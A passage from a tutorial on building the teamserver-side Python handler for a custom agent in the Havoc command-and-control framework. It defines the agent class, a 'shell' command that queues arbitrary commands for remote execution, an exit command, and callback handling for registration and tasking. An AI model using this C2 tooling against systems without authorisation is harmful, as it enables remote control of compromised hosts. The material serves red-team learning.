3: Writing the agent handler

Now that we have a basic agent, we need to create a python script to handle our agent callbacks. The first step to creating a handler for our custom agent is downloading the official Havoc-py python library from the github repo. This provides a way for us to control how the server handles callbacks coming from our third party agent.

As of now, it we are still going to be using built-in C2 channels such as HTTP/s to communicate with the server, but our callback requests may not necessarily be in the same structure as that of the default Demon agent that comes with Havoc. Therefore, we will be using the official Havoc-py library to write a python script to parse and process the requests and responses for the teamserver in a way that suits our agent.

from havoc.service import HavocService
from havoc.agent import *

Defining the new agent

First, we have to define the new agent. This is done by defining it as a python class. Here we can define the basic information about our agent such as its name, author, version and description.

# =======================
# ===== Agent Class =====
# =======================
class python(AgentType):
    Name = "Python"
    Author = "@codex_tf2"
    Version = "0.1"
    Description = f"""python 3rd party agent for Havoc"""

Next, we have to define a magic value for our agent. This is a 4 byte value that tells the teamserver what agent type the request is coming from, so that it can be processed accordingly. In this case, we use 0x41414141

# =======================
# ===== Agent Class =====
# =======================
class python(AgentType):
    Name = "My first agent"
    Author = "@codex_tf2"
    Version = "0.1"
    Description = f"""python 3rd party agent for Havoc"""
    MagicValue = 0x41414141

Now we need to specify the rest of the basic information about the agent such as its supported archs and file formats. These fields should be self explanatory.

# =======================
# ===== Agent Class =====
# =======================
class python(AgentType):
    Name = "Python"
    Author = "@codex_tf2"
    Version = "0.1"
    Description = f"""python 3rd party agent for Havoc"""
    MagicValue = 0x41414141

    Arch = [
        "x64",
        "x86",
    ]

    Formats = [
        {
            "Name": "Python script",
            "Extension": "py",
        },
    ]

We also have to add the BuildingConfig value to define the values the user can set in the agent building GUI, along with its default values. We won't be doing the automatic generation just yet, but here's an example of what defining it would look like.

    #The options in the GUI builder
    BuildingConfig = {
        "Sleep": "10"
    }
    
    # This is the generate function from the sample third party agent named Talon, by C5pider.
    def generate( self, config: dict ) -> None:
        # builder_send_message. this function send logs/messages to the payload build for verbose information or sending errors (if something went wrong).
        self.builder_send_message( config[ 'ClientID' ], "Info", f"hello from service builder" )
        self.builder_send_message( config[ 'ClientID' ], "Info", f"Options Config: {config['Options']}" )
        self.builder_send_message( config[ 'ClientID' ], "Info", f"Agent Config: {config['Config']}" )

Commands

The most important part of our agent is the commands it can run.

Each command must be defined as a class in the following structure:

# Shell command
class CommandShell(Command):
    Name = "shell" #This is the command itself that becomes available to the user
    Description = "executes commands" #These are shown in help menus etc.
    Help = "" #These are shown in help menus etc.
    NeedAdmin = False # Does this command require a privileged session?
    Params = [ # These are the parameters the command takes, in the form of an array
               # of CommandParam() objects. In this case, there is 1 argument.
        CommandParam(
            name="commands", # The param will be named commands
            is_file_path=False, # Is this a path to a file?
            is_optional=False # Is this parameter optional?
        )
    ]
    Mitr = [] # MITRE ATT&CK mappings. Still work in progress.

    # when the user runs this command, 
    def job_generate( self, arguments: dict ) -> bytes:
        Task = Packer() # This is the tasking that will be queued
        #Add our argument 1 (the shell command) to the tasking
        Task.add_data(arguments[ 'commands' ]) 
        #Queue the task
        return Task.buffer #The command we want to execute will be queued as a task

Following this structure, we can add our exit command as such:

class CommandExit( Command ):
    CommandId   = COMMAND_EXIT
    Name        = "exit"
    Description = "tells the python agent to exit"
    Help        = ""
    NeedAdmin   = False
    Mitr        = []
    Params      = []

    def job_generate( self, arguments: dict ) -> bytes:

        Task = Packer()
        Task.add_data("goodbye")
        return Task.buffer #Queue "goodbye" as a tasking. Easy!

Now, we just need to register these commands into our agent. Let's go back to the agent class and register them as such:

    Commands = [
        CommandShell(), #Our shell command class
        CommandExit(), #Our exit command class
    ]

Our code now should look like this:

from havoc.service import HavocService
from havoc.agent import *

# Shell command
class CommandShell(Command):
    Name = "shell" #This is the command itself that becomes available to the user
    Description = "executes commands" #These are shown in help menus etc.
    Help = "" #These are shown in help menus etc.
    NeedAdmin = False # Does this command require a privileged session?
    Params = [ # These are the parameters the command takes, in the form of an array
               # of CommandParam() objects. In this case, there is 1 argument.
        CommandParam(
            name="commands", # The param will be named commands
            is_file_path=False, # Is this a path to a file?
            is_optional=False # Is this parameter optional?
        )
    ]
    Mitr = [] # MITRE ATT&CK mappings. Still work in progress.

    # when the user runs this command, 
    def job_generate( self, arguments: dict ) -> bytes:
        Task = Packer() # This is the tasking that will be queued
        #Add our argument 1 (the shell command) to the tasking
        Task.add_data(arguments[ 'commands' ]) 
        #Queue the task
        return Task.buffer #The command we want to execute will be queued as a task
        
class CommandExit( Command ):
    CommandId   = COMMAND_EXIT
    Name        = "exit"
    Description = "tells the python agent to exit"
    Help        = ""
    NeedAdmin   = False
    Mitr        = []
    Params      = []

    def job_generate( self, arguments: dict ) -> bytes:

        Task = Packer()
        Task.add_data("goodbye")
        return Task.buffer #Queue "goodbye" as a tasking. Easy!
        
# =======================
# ===== Agent Class =====
# =======================
class python(AgentType):
    Name = "Python"
    Author = "@codex_tf2"
    Version = "0.1"
    Description = f"""python 3rd party agent for Havoc"""
    MagicValue = 0x41414141

    Arch = [
        "x64",
        "x86",
    ]

    Formats = [
        {
            "Name": "Python script",
            "Extension": "py",
        },
    ]
    
    Commands = [
        CommandShell(), #Our shell command class
        CommandExit(), #Our exit command class
    ]

Now we need to tell Havoc how to handle our agent callbacks. We do this by defining a response() method in the agent class. This function takes in the callback and performs actions accordingly.

A few functions to take note of are:

self.register() - registers a new agent, given the agent header and the new agent data structure explained in the previous section.
self.console_message() - Prints to the agent console in Havoc client. 1st argument is the agent id, 2nd argument is the response type (Good/Bad) and the third argument is the data to print.
self.get_task_queue - gets the queued tasks for the agent ID from the teamserver

    def response( self, response: dict ) -> bytes:
        agent_header    = response[ "AgentHeader" ]

        print("Receieved request from agent")
        agent_header    = response[ "AgentHeader" ]
        agent_response  = b64decode( response[ "Response" ] ) # the teamserver base64 encodes the request
        agentjson = json.loads(agent_response)
        
        if agentjson["task"] == "register":
            print("[*] Registered agent")
            self.register( agent_header, json.loads(agentjson["data"]) )
            AgentID = response[ "AgentHeader" ]["AgentID"]
            self.console_message( AgentID, "Good", f"Python agent {AgentID} registered", "" )
            return b'registered'
            
        elif agentjson["task"] == "gettask":

            AgentID = response[ "Agent" ][ "NameID" ]

            print("[*] Agent requested taskings")
            Tasks = self.get_task_queue( response[ "Agent" ] )
            print("Tasks retrieved")
            
            if len(agentjson["data"]) > 0:
                print("Output: " + agentjson["data"])
                self.console_message( AgentID, "Good", "Received Output:", agentjson["data"] )
            print(Tasks)
            
        return Tasks

Now we just have to register the new agent type in Havoc. This can be done by connecting to the Havoc service using HavocService() and calling the register_agent() method.

    Havoc_python = python()
    print(os.getpid())
    print( "[*] Connect to Havoc service api" )
    Havoc_Service = HavocService(
        endpoint="ws://localhost:40056/service-endpoint",
        password="service-password"
    )

    print( "[*] Register python to Havoc" )
    Havoc_Service.register_agent(Havoc_python)

    return

We can now test our custom agent!